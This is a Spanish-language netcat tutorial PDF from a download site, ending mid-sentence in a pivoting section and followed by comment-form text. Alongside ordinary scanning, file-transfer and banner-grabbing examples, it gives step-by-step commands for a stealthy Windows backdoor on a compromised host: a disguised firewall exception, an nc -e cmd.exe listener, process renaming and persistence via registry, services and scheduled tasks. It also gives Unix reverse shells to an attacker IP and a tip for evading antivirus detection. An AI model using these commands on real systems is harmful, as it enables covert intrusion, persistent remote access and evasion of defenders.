PDF de programación - NetCat power tools

Imágen de pdf NetCat power tools

NetCat power toolsgráfica de visualizaciones

Actualizado el 21 de Marzo del 2018 (Publicado el 27 de Octubre del 2017)
1.026 visualizaciones desde el 27 de Octubre del 2017
189,5 KB
14 paginas
Creado hace 14a (23/10/2009)
NETCAT POWER TOOLS

David Montero *

23 de octubre de 2009

*Si quieres hacer algún comentario o correción, por favor envíame un correo

1

Índice

1. Introducción

2. Versión Windows-Linux

3. Puertos

4. Redirectores

5. Chat

6. Escaneo de puertos

7. Transferencia de cheros

8. Captura de banners

9. Redirección de puertos

10.Egress Testing

11.Troyano silencioso en Windows

12.Shell inversa en Unix

13.Evadir detección de AV

14.Sning tráco redirigiendo un servicio

15.Conectar con un pivot

2

4

4

5

5

5

6

6

7

8

8

9

10

11

11

12

16.Condencialidad

17.Integridad

18.Variantes Netcat

12

13

13

3

1.

Introducción

El programa Netcat nació en 1996 con el objetivo de leer y escribir datos en conexiones TCP y UDP.

Es una versión del comando cat enfocado a la red.

Cuando transere información no interviene en el ujo de datos. Por el contrario, telnet inyecta
mensajes de diagnóstico e intercepta carácteres especiales actuando en base a ellos. Éstos hacen que no se
pueda transmitir la mayoría de los cheros binarios por telnet, ya que se interpretan sus datos como cadenas
de comandos. En cambio Netcat actúa como un mecanismo de transporte transparente.

Tiene dos implementaciones: la versión original de Unix y la versión de GNU. Para saber con qué versión

se está trabajando ejecutar:

$ nc -h

Los posibles resultados son:

[v1.10-38] versión Unix

GNU netcat 0.7.1 versión Netcat

Normalmente las versiones binarias que vienen en las distribuciones, no suelen estar compiladas con la opción
GAPING_SECURITY_HOLE

2. Versión Windows-Linux

Existen diferentes funciones para la misma opción dependiendo del operativo:

-L: en Windows hace referencia a re-listen 1 y en la versión GNU de Linux al tunneling.

-V: muestra la versión en Linux (Windows no tiene la opción).

-d: en Windows ejecuta Netcat en modo detach (Linux no tiene la opción).

-x: en Linux muestra la salida en hexadecimal. Windows tiene la opción -o, la cual engloba a

ésta.

1en Linux se puede superar esta limitación con un poco de scripting, o usando la versión de Netcat modicada para tal n.

4

3. Puertos

En modo cliente no hace falta escribir -p para especicar un puerto. Se pueden indicar varios al mismo

tiempo mediante comas, un rango con un guión o por el nombre:

$ nc -v 192.168.1.4

21,80,443

$ nc -v 192.168.1.4

1-200

$ nc -v 192.168.1.4

http 2

4. Redirectores

Ejemplos de uso:

$ nc -l -p 12345 > dumpfile

$ nc -l -p 12345 >> dumpfile

$ nc -l -p 12345 < dumpfile

Con tuberías se suelen utilizar comandos como cat, echo y tar.

5. Chat

Para establecer un chat es necesario congurar un socket a la escucha y desde otra máquina conectar al

mismo:

$ nc -l -p 12345

$ nc localhost 12345

2para saber el número de puerto se consulta el chero /etc/services en Linux y /WINDOWS/system32/drivers/etc/services

en Windows.

5

6. Escaneo de puertos

Opciones útiles para acelerar el escaneo:

-w: establece un timeout.

-z: no establece una conexión completa.

Otras opciones útiles:

-i: intérvalo entre peticiones.

-n: no hace resolución DNS inversa.

-r: randomiza el puerto origen y destino.

-v: verbose.

-u: protocolo UDP.

7. Transferencia de cheros

Para descargar un chero:

$ nc -l -p 12345 < textfile

$ nc 192.168.1.4 12345 > textfile

Para subir un chero:

$ nc -l -p 12345 > textfile

$ nc 192.168.1.4 12345 < textfile

6

Aunque haya nalizado la transferencia de cheros, se mantiene de forma indenida y por lo tanto hace falta
pulsar CTRL-C para interrumpirla. Para evitar esta situación se puede hacer uso de la opción -w:

$ nc -l -p 1234 > textfile2

$ nc localhost 1234 -w 1 < textfile

o -q, que cierra la conexión tan pronto como la transferencia se haya completado:

$ nc -l -p 1234 > textfile2

$ nc localhost 1234 -q 1 < textfile

8. Captura de banners

En el caso de un servidor SSH :

$ nc localhost 22

SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1

En el caso de servidores web:

$ nc -v www.microsoft.com 80
HEAD / HTTP/1.0

o:

$ echo -en "HEAD / HTTP/1.1\nHost: www.upv.es\n\n" | nc www.upv.es 80

En este caso se quiere averiguar el banner de las máquinas que contiene el chero hostlist.txt. El chero
request.txt contiene la petición a realizar [HEAD / HTTP/1.0/n/n]

$ for i in $(cat hostlist.txt)
do

nc -q 2 -v $i 89 < request.txt

done

7

9. Redirección de puertos

Para montar una especie de bouncer con el n de acceder a una tercera máquina (host_target):

$ nc -l -p 12345 | nc host_target 54321

$ nc host_relay 12345

También puede ser muy útil en caso de que se quiera acceder a un servicio de la máquina de una LAN que
el FW bloquea. En ese caso accedemos a un puerto abierto en el FW, y una superado el FW, una máquina
de dentro de la LAN hace la redirección de puertos al que nos interesa.

Es importante tener en cuenta que esto sólo funciona en un sentido. Haría falta poner otra redirección

para tener un tráco bidireccional.

10. Egress Testing

Egress testing es un término que hace referencia a averiguar los puertos por los que un FW permite

tráco para las conexiones salientes.

Para esto utilizaremos un ordenador que está dentro de la LAN protegida y otro fuera. Lo ideal sería
que la máquina de la LAN enviara paquetes por los 65535 puertos, y monitorizando el tráco podríamos
determinar los puertos TCP y UDP abiertos en el FW. Al ser excesivo tener Netcats escuchando en 131072
puertos, sólo se conguran dos (uno TCP y otro UDP) y se redirigen con iptables todos los paquetes a esos
puertos. En la máquina externa:

# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 0:65535 -j REDIRECT --to-port 1234

# iptables -t nat -A PREROUTING -i eth0 -p udp --dport 0:65535 -j REDIRECT --to-port 1234

$ nc -l -p 1234

$ nc -u -l -p 1234

y desde la máquina interna lanzamos el escaneo para comprobar las reglas del FW:

$ nc -v -z 192.168.1.30 0-65535 $ nc -v -z -u 192.168.1.30 0-65535

8

Si se utiliza un programa de escaneo como Nmap es importante lanzar SYNs para que la conexión no sea
completa. De otra forma Netcat cerrará conexión.

11. Troyano silencioso en Windows

Una vez comprometido un sistema Windows, si se congura un Netcat a la escucha en un puerto con un
shell ligada al mismo, el FW de Windows lo detectará y noticará. Para establecer la puerta trasera de una
forma silenciosa, hace falta comprobar si el FW está activo y si permite excepciones:

C:\> netsh firewall show opmode

En caso que no permita excepciones, congurar el FW para que lo haga:

C:\> netsh firewall set opmode mode = enable exceptions = enable profile = all

Congurar la excepción para el puerto en el que vamos a congurar Netcat a la escucha:

C:\> netsh firewall add portopening TCP 1234 "Windows Firewall Reporting Agent"
enable all

Vericar:

C:\> netsh firewall show port opening

Establecer la puerta trasera:

C:\> nc.exe -d -L -p 1234 -e cmd.exe

NOTA: es conveniente cambiar el nombre del proceso para que no sea tan sospechoso. Como suelen haber
diferentes instancias de svhost.exe, pasa desapercibido a los ojos de un usuario.

Podemos conectar con la puerta trasera de forma directa, pero como inconvenientes tenemos que cualquier
persona que lo detecte podría acceder. Y también puede existir un dispositivo de ltrado que impida establecer
conexión. Por tanto, existe una segunda opción que consiste en que el sistema víctima inicie la conexión hacia
el atacante; es decir, que realice una conexión inversa.

9

C:\> nc.exe -d host 1234 -e cmd.exe

como ventaja obtenemos que se permitirá la conexión aunque haya un FW, a menos que ltre les conexiones
de salida. Si es así, con Egress Firewall podemos descubrir los puertos de salida abiertos para utilizar uno.

Como inconvenientes sería necesario planear el evento con Task Scheduler o con alguna acción del usuario

como un logueo o reinicio. En el caso del logueo haría falta modicar el registro:

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.70 1234 -e cmd.exe"

Otra posibilidad es crear un servicio porque se ejecutará siempre en caso de que se reinicie la máquina:

C:\> sc create <servicename> binPath = "cmd /K start c:\nc.exe -d 192.168.1.70 1234
-e cmd.exe" start= auto error= ignore

C:\> net start <servicename>

Para crear una tarea:

C:\> net start schedule

C:\> at 15:00:00 /every:m,t,w,th,f,s,su ""c:\nc.exe -d 192.168.1.70 1234 -e cdm.exe""

Resumiendo: podemos crear conexiones inversas tanto mediante el registro, servicios o planicador de tareas.

12. Shell inversa en Unix

En sistemas Unix se conguraría de la siguiente forma:

[attacker ~]$ nc -l -p 8080 -e /bin/bash

[server ~]$ nc <attacker IP> 8080

Pero para usuarios de FreeBSD ya que la opción -e no está soportada se podría hacer con dos conexiones
separadas:

10

[attacker ~]$ nc -l -p 8080

[server ~]$ nc -l -p 9090 | /bin/bash | nc <home IP> 8080

[attacker ~]$ nc <server IP> 9090

O también:

[attacker ~]$ nc -l -p 8080

[attacker ~]$ nc -l -p 9090

[server ~]$ nc <attacker IP> 8080 | /bin/bash | nc <attacker IP> 9090

13. Evadir detección de AV

Los AV detectan el binario de Netcat como software malicioso, pero evitar esto es muy sencillo. Simple-
mente añadiendo un comentario en el código fuente y recompilando ya no sería detectado. En este caso la
rma del AV ya no lo reconocerá como malware.

14. Sning tráco redirigiendo un servicio

Es necesario cambiar el puerto donde escucha el servicio. En el caso de Apache utilizamos la siguiente

directiva:

Listen 8080

Con Netcat creamos un script /tmp/http_snier que capture tanto el tráco de ida como de vuelta:

#!/bin/bash
nc -o /tmp/sni.out 192.168.1.100 8080

Y lo utilizamos para hacer la redirección:

# nc -l -p 80 -e /tcmp/http_sniffer

11

NOTA: tener en cuenta que esto sólo funcionará la primera vez, porque Netcat deja de escuchar una vez
nalizada la conexión. 3

15. Conectar con un pivot

Tenemos un escenario donde el host 192.168.1.100 ha sido comprometido, y se busca acceder a
  • Links de descarga
http://lwp-l.com/pdf7290

Comentarios de: NetCat power tools (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad